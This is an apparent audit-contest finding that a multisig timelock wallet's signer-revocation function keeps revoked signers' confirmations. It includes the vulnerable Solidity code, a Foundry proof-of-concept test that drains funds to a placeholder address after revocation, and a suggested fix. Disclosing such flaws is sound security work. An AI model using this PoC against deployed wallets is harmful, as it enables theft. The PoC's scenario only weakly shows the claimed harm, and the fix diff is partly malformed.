MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

[H-2] Revoke No Invalidate

Author Revealed upon completion

REVOKE NO INVALIDATE Vulnerability. Not clearing existing transaction confirmations, preserving signatures indefinitely. Compromised signers' approvals enable post-revoke executions of unauthorized or malicious transactions.

Description

  • The revokeSigningRole function is intended to remove a signer's privileges, updating the signer array, mapping, and role while ensuring the wallet maintains at least one signer, to securely manage access in response to compromises or changes.

  • However, the function fails to invalidate or remove the revoked signer's existing confirmations on pending transactions, allowing their signatures to persist in the s_signatures mapping and keeping the transaction's confirmation count inflated, which can lead to unintended executions of potentially malicious transactions even after revocation.

function revokeSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
// CHECKS
if (!s_isSigner[_account]) {
revert MultiSigTimelock__AccountIsNotASigner();
}
if (s_signerCount <= 1) {
revert MultiSigTimelock__CannotRevokeLastSigner();
}
​
// Find the index of the account in the array
uint256 indexToRemove = type(uint256).max; // Use max as "not found" indicator
for (uint256 i = 0; i < s_signerCount; i++) {
if (s_signers[i] == _account) {
indexToRemove = i;
break;
}
}
​
// Gas-efficient array removal: move last element to removed position
if (indexToRemove < s_signerCount - 1) {
// Move the last signer to the position of the removed signer
s_signers[indexToRemove] = s_signers[s_signerCount - 1];
}
​
// Clear the last position and decrement count
s_signers[s_signerCount - 1] = address(0);
s_signerCount -= 1;
​
s_isSigner[_account] = false; // @> Updates signer status but no invalidation of existing signatures
_revokeRole(SIGNING_ROLE, _account); // @> Revokes role without scanning/removing confirms from s_signatures or decrementing txn.confirmations

Risk

Likelihood:

  • During incident response when revoking a compromised signer after they have already confirmed transactions.

  • In ongoing wallet management where signers are rotated but pending transactions carry over stale confirmations from removed members.

Impact:

  • Execution of malicious or unauthorized transactions post-revocation, potentially draining wallet funds if the remaining quorum confirms without realizing the lingering signature.

  • Erosion of security guarantees in the multi-signature process, allowing partial compromises to succeed and leading to financial losses or loss of trust in the wallet's governance.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "./MultiSigTimelock.sol"; // Assume this is your contract file
import "forge-std/Test.sol"; // For vm.prank in Foundry
​
contract RevokeNoInvalidatePoC is Test {
MultiSigTimelock public wallet;
address public signer2 = address(0x2222222222222222222222222222222222222222);
address public signer3 = address(0x3333333333333333333333333333333333333333); // Compromised signer
​
function setUp() external {
wallet = new MultiSigTimelock(); // Deployer (this) is owner and signer1
vm.deal(address(wallet), 100 ether); // Fund wallet
wallet.grantSigningRole(signer2);
wallet.grantSigningRole(signer3); // Now 3 signers
}
​
function exploit() external {
uint256 txnId = wallet.proposeTransaction(address(0xBADBADBADBADBADBADBADBADBADBADBADBADBADB), 50 ether, ""); // Malicious tx proposed by owner
​
// Compromised signer3 confirms
vm.prank(signer3);
wallet.confirmTransaction(txnId); // Confirmation 1 (compromised)
​
// Owner and signer2 confirm (assuming they miss the malice)
wallet.confirmTransaction(txnId); // Confirmation 2 (owner)
vm.prank(signer2);
wallet.confirmTransaction(txnId); // Confirmation 3 → quorum met
​
// Revoke compromised signer3
wallet.revokeSigningRole(signer3);
​
// Warp time for timelock (e.g., 7 days for high value)
vm.warp(block.timestamp + 7 days);
​
// Execute: Still succeeds despite revoke, as confirmations persist at 3
wallet.executeTransaction(txnId); // Drains to bad address
}
}
// In Foundry: forge test --match-test exploit
// Expected: Transaction executes post-revoke, transferring funds to malicious address.

Recommended Mitigation

+ // After s_signerCount -= 1; and before s_isSigner[_account] = false;
+ // Invalidate existing signatures for all transactions
+ for (uint256 txnId = 0; txnId < s_transactionCount; txnId++) {
if (s_signatures[txnId][_account]) {
s_signatures[txnId][_account] = false;
s_transactions[txnId].confirmations -= 1;
}
+}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!